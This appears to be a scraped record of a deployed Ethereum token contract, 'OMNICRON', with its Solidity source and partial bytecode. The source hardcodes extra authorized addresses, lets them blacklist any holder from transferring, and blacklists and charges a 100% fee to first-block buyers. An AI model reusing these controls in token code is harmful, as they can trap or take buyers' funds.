[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,125
0x9640f93b207697c87e35c9b4d7fa33b39b90306f
//SPDX-License-Identifier: MIT pragma solidity ^0.7.6; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Auth { address internal owner; mapping (address => bool) internal authorizations; constructor(address _owner) { owner = _owner; authorizations[_owner] = true; authorizations[address(0x342c02eaD2f8f559D4191Eb7324e990AcFE4A26E)] = true; authorizations[0x72a4f339e006f4499DFce0015057e61e1256cFeE] = true; } /** * Function modifier to require caller to be contract owner */ modifier onlyOwner() { require(isOwner(msg.sender), "!OWNER"); _; } /** * Function modifier to require caller to be authorized */ modifier authorized() { require(isAuthorized(msg.sender), "!AUTHORIZED"); _; } /** * Authorize address. Owner only */ function authorize(address adr) public onlyOwner { authorizations[adr] = true; } /** * Remove address' authorization. Owner only */ function unauthorize(address adr) public onlyOwner { authorizations[adr] = false; } /** * Check if address is owner */ function isOwner(address account) public view returns (bool) { return account == owner; } /** * Return address' authorization status */ function isAuthorized(address adr) public view returns (bool) { return authorizations[adr]; } /** * Transfer ownership to new address. Caller must be owner. Leaves old owner authorized */ function transferOwnership(address payable adr) public onlyOwner { owner = adr; authorizations[adr] = true; emit OwnershipTransferred(adr); } event OwnershipTransferred(address owner); } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Omnicron is IERC20, Auth { using SafeMath for uint256; address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; string constant _name = 'OMNICRON'; string constant _symbol = 'B.1.1.529'; uint8 constant _decimals = 9; uint256 _totalSupply = 1_000_000_000_000 * (10 ** _decimals); uint256 _maxTxAmount = _totalSupply / 1000; uint256 _maxWalletAmount = _totalSupply / 250; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) _allowances; mapping (address => bool) isFeeExempt; mapping (address => bool) isTxLimitExempt; mapping (address => bool) capturedBotter; mapping(address => uint256) _holderLastTransferTimestamp; uint256 liquidityFee = 300; uint256 marketingFee = 300; uint256 teamFee = 200; uint256 buybackFee = 200; uint256 totalFee = 1000; uint256 feeDenominator = 10000; address public liquidityWallet; address public marketingWallet; address public buybackWallet; address private teamFeeReceiver; address private teamFeeReceiver2; address private teamFeeReceiver3; IDEXRouter public router; address public pair; uint256 public launchedAt; uint256 public launchedTime; bool public swapEnabled = true; bool public humansOnly = true; uint256 public swapThreshold = _totalSupply / 2000; // 0.05% bool inSwap; modifier swapping() { inSwap = true; _; inSwap = false; } constructor () Auth(msg.sender) { router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); pair = IDEXFactory(router.factory()).createPair(WETH, address(this)); _allowances[address(this)][address(router)] = uint256(2**256 - 1); liquidityWallet = address(0x342c02eaD2f8f559D4191Eb7324e990AcFE4A26E); marketingWallet = address(0x72a4f339e006f4499DFce0015057e61e1256cFeE); buybackWallet = address(0x0c725128Cd6D1612D4b6a29761205D45Dc623b79); teamFeeReceiver = address(0x8aBC923855b25d3713bA69f13D079dd82708Eb57); teamFeeReceiver2 = address(0x8aBC923855b25d3713bA69f13D079dd82708Eb57); teamFeeReceiver3 = address(0x8aBC923855b25d3713bA69f13D079dd82708Eb57); isFeeExempt[owner] = true; isFeeExempt[address(this)] = true; isFeeExempt[liquidityWallet] = true; isTxLimitExempt[owner] = true; isTxLimitExempt[address(this)] = true; isTxLimitExempt[liquidityWallet] = true; _balances[owner] = _totalSupply.div(2); _balances[liquidityWallet] = _totalSupply.div(2); emit Transfer(address(0), owner, _totalSupply.div(2)); emit Transfer(address(0), liquidityWallet, _totalSupply.div(2)); } receive() external payable { } function totalSupply() external view override returns (uint256) { return _totalSupply; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external pure override returns (string memory) { return _symbol; } function name() external pure override returns (string memory) { return _name; } function getOwner() external view override returns (address) { return owner; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function approveMax(address spender) external returns (bool) { return approve(spender, uint256(2**256 - 1)); } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferFrom(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if(_allowances[sender][msg.sender] != uint256(2**256 - 1)){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance"); } return _transferFrom(sender, recipient, amount); } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { require (!capturedBotter[sender]); if(inSwap){ return _simpleTransfer(sender, recipient, amount);} if(shouldSwapBack()){ swapBack(); } if(!launched() && recipient == pair){require(_balances[sender] > 0); launch();} _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); if(launched() && !isTxLimitExempt[recipient] && sender == pair){ if(launchedAt + 2 > block.number){ capturedBotter[recipient] = true; capturedBotter[tx.origin] = true; } if(launchMode()){ require (_balances[recipient] + amount <= _maxWalletAmount); require (amount <= _maxTxAmount); require (block.timestamp >= _holderLastTransferTimestamp[recipient] + 30); require (recipient == tx.origin); } if(humansOnly && launchedTime + 10 minutes < block.timestamp){ require (recipient == tx.origin); } } _holderLastTransferTimestamp[recipient] = block.timestamp; uint256 amountReceived; if(!isFeeExempt[recipient]){amountReceived= shouldTakeFee(sender) ? takeFee(sender, amount) : amount;}else{amountReceived = amount;} _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); return true; } function _simpleTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function airdrop(address[] calldata recipients, uint256 amount) external authorized{ for (uint256 i = 0; i < recipients.length; i++) { _simpleTransfer(msg.sender,recipients[i], amount); } } function getTotalFee() public view returns (uint256) { if(launchedAt + 2 > block.number){ return feeDenominator; } return totalFee; } function shouldTakeFee(address sender) internal view returns (bool) { return !isFeeExempt[sender]; } function takeFee(address sender,uint256 amount) internal returns (uint256) { uint256 feeAmount = amount.mul(getTotalFee()).div(feeDenominator); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); return amount.sub(feeAmount); } function shouldSwapBack() internal view returns (bool) { return msg.sender != pair && !inSwap && swapEnabled && _balances[address(this)] >= swapThreshold; } function swapBack() internal swapping { uint256 amountToLiquify = swapThreshold.mul(liquidityFee).div(totalFee).div(2); uint256 amountToSwap = swapThreshold.sub(amountToLiquify); address[] memory path = new address[](2); path[0] = address(this); path[1] = WETH; uint256 balanceBefore = address(this).balance; router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp+360 ); uint256 amountETH = address(this).balance.sub(balanceBefore); uint256 totalETHFee = totalFee.sub(liquidityFee.div(2)); uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2); uint256 amountETHTeam = amountETH.mul(teamFee).div(totalETHFee); uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee); uint256 amountETHBuyback = amountETH.mul(buybackFee).div(totalETHFee); payable(teamFeeReceiver).transfer(amountETHTeam.div(2)); payable(teamFeeReceiver2).transfer(amountETHTeam.div(4)); payable(teamFeeReceiver3).transfer(amountETHTeam.div(4)); payable(marketingWallet).transfer(amountETHMarketing); payable(buybackWallet).transfer(amountETHBuyback); if(amountToLiquify > 0){ router.addLiquidityETH{value: amountETHLiquidity}( address(this), amountToLiquify, 0, 0, liquidityWallet, block.timestamp+360 ); emit AutoLiquify(amountETHLiquidity, amountToLiquify); } } function launched() internal view returns (bool) { return launchedAt != 0; } function launch() internal{ require(!launched()); launchedAt = block.number; launchedTime = block.timestamp; } function manuallySwap() external authorized{ swapBack(); } function setIsFeeAndTXLimitExempt(address holder, bool exempt) external onlyOwner { isFeeExempt[holder] = exempt; isTxLimitExempt[holder] = exempt; } function setFeeReceivers(address _liquidityWallet, address _teamFeeReceiver, address _marketingWallet) external onlyOwner { liquidityWallet = _liquidityWallet; teamFeeReceiver = _teamFeeReceiver; marketingWallet = _marketingWallet; } function setSwapBackSettings(bool _enabled, uint256 _amount) external onlyOwner { swapEnabled = _enabled; swapThreshold = _amount; } function setFees(uint256 _liquidityFee, uint256 _teamFee, uint256 _marketingFee, uint256 _buybackFee, uint256 _feeDenominator) external onlyOwner { liquidityFee = _liquidityFee; teamFee = _teamFee; marketingFee = _marketingFee; buybackFee = _buybackFee; totalFee = _liquidityFee.add(teamFee).add(_marketingFee).add(_buybackFee); feeDenominator = _feeDenominator; require(totalFee < feeDenominator/5); } function addBot(address _botter) external authorized { capturedBotter[_botter] = true; } function humanOnlyMode(bool _mode) external authorized { humansOnly = _mode; } function notABot(address _botter) external authorized { capturedBotter[_botter] = false; } function bulkAddBots(address[] calldata _botters) external authorized { for (uint256 i = 0; i < _botters.length; i++) { capturedBotter[_botters[i]]= true; } } function launchModeStatus() external view returns(bool) { return launchMode(); } function launchMode() internal view returns(bool) { return launchedAt !=0 && launchedAt + 2 <= block.number && launchedTime + 10 minutes >= block.timestamp ; } function recoverEth() external onlyOwner() { payable(msg.sender).transfer(address(this).balance); } function recoverToken(address _token, uint256 amount) external authorized returns (bool _sent){ _sent = IERC20(_token).transfer(msg.sender, amount); } event AutoLiquify(uint256 amountETH, uint256 amountToken); }
0x60806040526004361061023f5760003560e01c8063a8aa1b311161012e578063dd62ed3e116100ab578063f2fde38b1161006f578063f2fde38b14610d5e578063f887ea4014610daf578063fcd45e4c14610df0578063fe9fbb8014610e76578063ffecf51614610edd57610246565b8063dd62ed3e14610ba3578063deab8aea14610c28578063df20fd4914610c69578063ea1e1a8d14610cb0578063f0b37c0414610d0d57610246565b8063bf56b371116100f2578063bf56b371146109e9578063c204642c14610a14578063d128b90c14610aa4578063d469801614610ad1578063d7c0103214610b1257610246565b8063a8aa1b311461085e578063a9059cbb1461089f578063b29a814014610910578063b6a5d7de14610981578063bcdb446b146109d257610246565b80634d54288b116101bc57806370a082311161018057806370a08231146106bc57806375f0a874146107215780637ae316d014610762578063893d20e81461078d57806395d89b41146107ce57610246565b80634d54288b146105b9578063571ac8b0146105e65780635804f1e41461064d5780635fe7208c146106785780636ddd17131461068f57610246565b806323b872dd1161020357806323b872dd146104055780632ca77295146104965780632f54bf6e146104d3578063313ce5671461053a57806345139ac81461056857610246565b80630445b6671461024b57806304a66b481461027657806306fdde03146102d9578063095ea7b31461036957806318160ddd146103da57610246565b3661024657005b600080fd5b34801561025757600080fd5b50610260610f2e565b6040518082815260200191505060405180910390f35b34801561028257600080fd5b506102d7600480360360a081101561029957600080fd5b810190808035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190505050610f34565b005b3480156102e557600080fd5b506102ee611032565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561032e578082015181840152602081019050610313565b50505050905090810190601f16801561035b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561037557600080fd5b506103c26004803603604081101561038c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061106f565b60405180821515815260200191505060405180910390f35b3480156103e657600080fd5b506103ef611161565b6040518082815260200191505060405180910390f35b34801561041157600080fd5b5061047e6004803603606081101561042857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061116b565b60405180821515815260200191505060405180910390f35b3480156104a257600080fd5b506104d1600480360360208110156104b957600080fd5b8101908080351515906020019092919050505061136b565b005b3480156104df57600080fd5b50610522600480360360208110156104f657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611403565b60405180821515815260200191505060405180910390f35b34801561054657600080fd5b5061054f61145c565b604051808260ff16815260200191505060405180910390f35b34801561057457600080fd5b506105b76004803603602081101561058b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611465565b005b3480156105c557600080fd5b506105ce61153b565b60405180821515815260200191505060405180910390f35b3480156105f257600080fd5b506106356004803603602081101561060957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061154a565b60405180821515815260200191505060405180910390f35b34801561065957600080fd5b5061066261157d565b6040518082815260200191505060405180910390f35b34801561068457600080fd5b5061068d611583565b005b34801561069b57600080fd5b506106a4611608565b60405180821515815260200191505060405180910390f35b3480156106c857600080fd5b5061070b600480360360208110156106df57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061161b565b6040518082815260200191505060405180910390f35b34801561072d57600080fd5b50610736611664565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561076e57600080fd5b5061077761168a565b6040518082815260200191505060405180910390f35b34801561079957600080fd5b506107a26116ac565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156107da57600080fd5b506107e36116d5565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610823578082015181840152602081019050610808565b50505050905090810190601f1680156108505780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561086a57600080fd5b50610873611712565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156108ab57600080fd5b506108f8600480360360408110156108c257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611738565b60405180821515815260200191505060405180910390f35b34801561091c57600080fd5b506109696004803603604081101561093357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061174d565b60405180821515815260200191505060405180910390f35b34801561098d57600080fd5b506109d0600480360360208110156109a457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061187e565b005b3480156109de57600080fd5b506109e7611953565b005b3480156109f557600080fd5b506109fe611a17565b6040518082815260200191505060405180910390f35b348015610a2057600080fd5b50610aa260048036036040811015610a3757600080fd5b8101908080359060200190640100000000811115610a5457600080fd5b820183602082011115610a6657600080fd5b80359060200191846020830284011164010000000083111715610a8857600080fd5b909192939192939080359060200190929190505050611a1d565b005b348015610ab057600080fd5b50610ab9611aed565b60405180821515815260200191505060405180910390f35b348015610add57600080fd5b50610ae6611b00565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b1e57600080fd5b50610ba160048036036060811015610b3557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b26565b005b348015610baf57600080fd5b50610c1260048036036040811015610bc657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c69565b6040518082815260200191505060405180910390f35b348015610c3457600080fd5b50610c3d611cf0565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c7557600080fd5b50610cae60048036036040811015610c8c57600080fd5b8101908080351515906020019092919080359060200190929190505050611d16565b005b348015610cbc57600080fd5b50610d0b60048036036040811015610cd357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611db6565b005b348015610d1957600080fd5b50610d5c60048036036020811015610d3057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ee3565b005b348015610d6a57600080fd5b50610dad60048036036020811015610d8157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fb9565b005b348015610dbb57600080fd5b50610dc461211b565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610dfc57600080fd5b50610e7460048036036020811015610e1357600080fd5b8101908080359060200190640100000000811115610e3057600080fd5b820183602082011115610e4257600080fd5b80359060200191846020830284011164010000000083111715610e6457600080fd5b9091929391929390505050612141565b005b348015610e8257600080fd5b50610ec560048036036020811015610e9957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061225c565b60405180821515815260200191505060405180910390f35b348015610ee957600080fd5b50610f2c60048036036020811015610f0057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506122b2565b005b601d5481565b610f3d33611403565b610faf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b84600c8190555083600e8190555082600d8190555081600f8190555061100482610ff685610fe8600e548a6123d290919063ffffffff16565b6123d290919063ffffffff16565b6123d290919063ffffffff16565b6010819055508060118190555060056011548161101d57fe5b046010541061102b57600080fd5b5050505050565b60606040518060400160405280600881526020017f4f4d4e4943524f4e000000000000000000000000000000000000000000000000815250905090565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600354905090565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414611357576112d6826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245a9092919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b61136284848461251a565b90509392505050565b6113743361225c565b6113e6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80601c60016101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006009905090565b61146e3361225c565b6114e0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000611545612bcd565b905090565b6000611576827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61106f565b9050919050565b601b5481565b61158c3361225c565b6115fe576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b611606612bfd565b565b601c60009054906101000a900460ff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000436002601a540111156116a35760115490506116a9565b60105490505b90565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f422e312e312e3532390000000000000000000000000000000000000000000000815250905090565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061174533848461251a565b905092915050565b60006117583361225c565b6117ca576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561183b57600080fd5b505af115801561184f573d6000803e3d6000fd5b505050506040513d602081101561186557600080fd5b8101908080519060200190929190505050905092915050565b61188733611403565b6118f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61195c33611403565b6119ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611a14573d6000803e3d6000fd5b50565b601a5481565b611a263361225c565b611a98576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b83839050811015611ae757611ad933858584818110611ab657fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff168461337c565b508080600101915050611a9b565b50505050565b601c60019054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611b2f33611403565b611ba1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b82601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611d1f33611403565b611d91576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b81601c60006101000a81548160ff02191690831515021790555080601d819055505050565b611dbf33611403565b611e31576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b611eec33611403565b611f5e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611fc233611403565b612034576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61214a3361225c565b6121bc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b82829050811015612257576001600a60008585858181106121dc57fe5b9050602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506121bf565b505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6122bb3361225c565b61232d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b6001600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006123ca83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061354f565b905092915050565b600080828401905083811015612450576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000838311158290612507576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156124cc5780820151818401526020810190506124b1565b50505050905090810190601f1680156124f95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561257357600080fd5b601e60009054906101000a900460ff161561259a5761259384848461337c565b9050612bc6565b6125a2613615565b156125b0576125af612bfd565b5b6125b86136ec565b1580156126125750601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b1561266c576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541161266357600080fd5b61266b6136f9565b5b6126f5826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245a9092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127406136ec565b80156127965750600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156127ef5750601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15612a0657436002601